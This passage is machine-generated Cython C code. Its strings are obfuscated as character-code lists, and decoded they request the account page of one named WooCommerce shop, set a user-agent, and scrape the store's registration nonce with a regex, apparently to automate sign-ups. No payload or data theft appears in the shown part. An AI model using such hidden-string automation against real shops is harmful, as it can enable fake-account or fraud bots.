    __pyx_t_10 = PyList_New(10); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 405, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_INCREF(__pyx_int_117);
    __Pyx_GIVEREF(__pyx_int_117);
    PyList_SET_ITEM(__pyx_t_10, 0, __pyx_int_117);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_10, 1, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 2, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_10, 3, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_10, 4, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_10, 5, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_10, 6, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 7, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_10, 8, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_10, 9, __pyx_int_116);
    __pyx_t_5 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_10); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 405, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = __Pyx_decode_bytes(__pyx_t_5, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 405, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_user); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 405, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    if (PyDict_SetItem(__pyx_t_13, __pyx_t_10, __pyx_t_5) < 0) __PYX_ERR(0, 402, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_headers, __pyx_t_13) < 0) __PYX_ERR(0, 401, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_r); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 408, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_13, __pyx_n_s_get); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 408, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    __pyx_t_13 = PyList_New(37); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 408, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_13, 0, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_13, 1, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_13, 2, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_13, 3, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_13, 4, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_58);
    __Pyx_GIVEREF(__pyx_int_58);
    PyList_SET_ITEM(__pyx_t_13, 5, __pyx_int_58);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_13, 6, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_13, 7, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_102);
    __Pyx_GIVEREF(__pyx_int_102);
    PyList_SET_ITEM(__pyx_t_13, 8, __pyx_int_102);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_13, 9, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_13, 10, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_102);
    __Pyx_GIVEREF(__pyx_int_102);
    PyList_SET_ITEM(__pyx_t_13, 11, __pyx_int_102);
    __Pyx_INCREF(__pyx_int_117);
    __Pyx_GIVEREF(__pyx_int_117);
    PyList_SET_ITEM(__pyx_t_13, 12, __pyx_int_117);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_13, 13, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_13, 14, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_102);
    __Pyx_GIVEREF(__pyx_int_102);
    PyList_SET_ITEM(__pyx_t_13, 15, __pyx_int_102);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_13, 16, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_13, 17, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_118);
    __Pyx_GIVEREF(__pyx_int_118);
    PyList_SET_ITEM(__pyx_t_13, 18, __pyx_int_118);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_13, 19, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_13, 20, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_46);
    __Pyx_GIVEREF(__pyx_int_46);
    PyList_SET_ITEM(__pyx_t_13, 21, __pyx_int_46);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_13, 22, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_13, 23, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_13, 24, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_13, 25, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_13, 26, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_121);
    __Pyx_GIVEREF(__pyx_int_121);
    PyList_SET_ITEM(__pyx_t_13, 27, __pyx_int_121);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_13, 28, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_13, 29, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_13, 30, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_13, 31, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_13, 32, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_117);
    __Pyx_GIVEREF(__pyx_int_117);
    PyList_SET_ITEM(__pyx_t_13, 33, __pyx_int_117);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_13, 34, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_13, 35, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_13, 36, __pyx_int_47);
    __pyx_t_10 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_13); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 408, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    __pyx_t_13 = __Pyx_decode_bytes(__pyx_t_10, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 408, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = PyTuple_New(1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 408, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_GIVEREF(__pyx_t_13);
    PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_t_13);
    __pyx_t_13 = 0;
    __pyx_t_13 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 408, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_headers); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 408, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    if (PyDict_SetItem(__pyx_t_13, __pyx_n_s_headers, __pyx_t_2) < 0) __PYX_ERR(0, 408, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_10, __pyx_t_13); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 408, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_response, __pyx_t_2) < 0) __PYX_ERR(0, 408, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_re); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 409, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_search); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 409, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;

    
    __pyx_t_10 = PyList_New(47); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 410, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_10, 0, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_10, 1, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_10, 2, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 3, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_61);
    __Pyx_GIVEREF(__pyx_int_61);
    PyList_SET_ITEM(__pyx_t_10, 4, __pyx_int_61);
    __Pyx_INCREF(__pyx_int_34);
    __Pyx_GIVEREF(__pyx_int_34);
    PyList_SET_ITEM(__pyx_t_10, 5, __pyx_int_34);
    __Pyx_INCREF(__pyx_int_119);
    __Pyx_GIVEREF(__pyx_int_119);
    PyList_SET_ITEM(__pyx_t_10, 6, __pyx_int_119);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_10, 7, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_10, 8, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_10, 9, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_10, 10, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_10, 11, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_10, 12, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 13, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_10, 14, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_10, 15, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 16, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_10, 17, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_10, 18, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 19, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_10, 20, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_10, 21, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_10, 22, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_10, 23, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 24, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_10, 25, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_10, 26, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_10, 27, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_10, 28, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_10, 29, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_10, 30, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 31, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_34);
    __Pyx_GIVEREF(__pyx_int_34);
    PyList_SET_ITEM(__pyx_t_10, 32, __pyx_int_34);
    __Pyx_INCREF(__pyx_int_32);
    __Pyx_GIVEREF(__pyx_int_32);
    PyList_SET_ITEM(__pyx_t_10, 33, __pyx_int_32);
    __Pyx_INCREF(__pyx_int_118);
    __Pyx_GIVEREF(__pyx_int_118);
    PyList_SET_ITEM(__pyx_t_10, 34, __pyx_int_118);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_10, 35, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_10, 36, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_117);
    __Pyx_GIVEREF(__pyx_int_117);
    PyList_SET_ITEM(__pyx_t_10, 37, __pyx_int_117);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 38, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_61);
    __Pyx_GIVEREF(__pyx_int_61);
    PyList_SET_ITEM(__pyx_t_10, 39, __pyx_int_61);
    __Pyx_INCREF(__pyx_int_34);
    __Pyx_GIVEREF(__pyx_int_34);
    PyList_SET_ITEM(__pyx_t_10, 40, __pyx_int_34);
    __Pyx_INCREF(__pyx_int_40);
    __Pyx_GIVEREF(__pyx_int_40);
    PyList_SET_ITEM(__pyx_t_10, 41, __pyx_int_40);
    __Pyx_INCREF(__pyx_int_46);
    __Pyx_GIVEREF(__pyx_int_46);
    PyList_SET_ITEM(__pyx_t_10, 42, __pyx_int_46);
    __Pyx_INCREF(__pyx_int_42);
    __Pyx_GIVEREF(__pyx_int_42);
    PyList_SET_ITEM(__pyx_t_10, 43, __pyx_int_42);
    __Pyx_INCREF(__pyx_int_63);
    __Pyx_GIVEREF(__pyx_int_63);
    PyList_SET_ITEM(__pyx_t_10, 44, __pyx_int_63);
    __Pyx_INCREF(__pyx_int_41);
    __Pyx_GIVEREF(__pyx_int_41);
    PyList_SET_ITEM(__pyx_t_10, 45, __pyx_int_41);
    __Pyx_INCREF(__pyx_int_34);
    __Pyx_GIVEREF(__pyx_int_34);
    PyList_SET_ITEM(__pyx_t_10, 46, __pyx_int_34);
    __pyx_t_1 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_10); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 410, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = __Pyx_decode_bytes(__pyx_t_1, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 410, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_response); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 411, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_text); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 411, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    __pyx_t_1 = NULL;
    __pyx_t_12 = 0;
    if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_5))) {
      __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_5);
      if (likely(__pyx_t_1)) {
        PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5);
        __Pyx_INCREF(__pyx_t_1);
        __Pyx_INCREF(function);
        __Pyx_DECREF_SET(__pyx_t_5, function);
        __pyx_t_12 = 1;
      }
    }
    #if CYTHON_FAST_PYCALL
    if (PyFunction_Check(__pyx_t_5)) {
      PyObject *__pyx_temp[3] = {__pyx_t_1, __pyx_t_10, __pyx_t_9};
      __pyx_t_13 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_12, 2+__pyx_t_12); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 409, __pyx_L1_error)
      __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0;
      __Pyx_GOTREF(__pyx_t_13);
      __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
      __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    } else
    #endif
    #if CYTHON_FAST_PYCCALL
    if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) {
      PyObject *__pyx_temp[3] = {__pyx_t_1, __pyx_t_10, __pyx_t_9};
      __pyx_t_13 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_12, 2+__pyx_t_12); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 409, __pyx_L1_error)
      __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0;
      __Pyx_GOTREF(__pyx_t_13);
      __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
      __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    } else
    #endif
    {
      __pyx_t_15 = PyTuple_New(2+__pyx_t_12); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 409, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_15);
      if (__pyx_t_1) {
        __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_15, 0, __pyx_t_1); __pyx_t_1 = NULL;
      }
      __Pyx_GIVEREF(__pyx_t_10);
      PyTuple_SET_ITEM(__pyx_t_15, 0+__pyx_t_12, __pyx_t_10);
      __Pyx_GIVEREF(__pyx_t_9);
      PyTuple_SET_ITEM(__pyx_t_15, 1+__pyx_t_12, __pyx_t_9);
      __pyx_t_10 = 0;
      __pyx_t_9 = 0;
      __pyx_t_13 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_15, NULL); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 409, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_13);
      __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    }
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_13, __pyx_n_s_group); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 411, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    __pyx_t_13 = NULL;
    if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) {
      __pyx_t_13 = PyMethod_GET_SELF(__pyx_t_5);
      if (likely(__pyx_t_13)) {
        PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5);
        __Pyx_INCREF(__pyx_t_13);
        __Pyx_INCREF(function);
        __Pyx_DECREF_SET(__pyx_t_5, function);
      }
    }
    __pyx_t_2 = (__pyx_t_13) ? __Pyx_PyObject_Call2Args(__pyx_t_5, __pyx_t_13, __pyx_int_1) : __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_int_1);
    __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0;
    if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 411, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_register, __pyx_t_2) < 0) __PYX_ERR(0, 409, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;

    
    __pyx_t_2 = __Pyx_Import(__pyx_n_s_requests, 0, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 412, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_requests, __pyx_t_2) < 0) __PYX_ERR(0, 412, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;

    
    __pyx_t_2 = __Pyx_PyDict_NewPresized(5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 414, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __pyx_t_5 = PyList_New(6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 414, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_116);
    __pyx_t_13 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 414, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_13, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 414, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    __pyx_t_13 = PyList_New(135); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 414, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_13, 0, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_13, 1, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_120);
    __Pyx_GIVEREF(__pyx_int_120);
    PyList_SET_ITEM(__pyx_t_13, 2, __pyx_int_120);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_13, 3, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_13, 4, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_13, 5, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_13, 6, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_13, 7, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_13, 8, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_44);
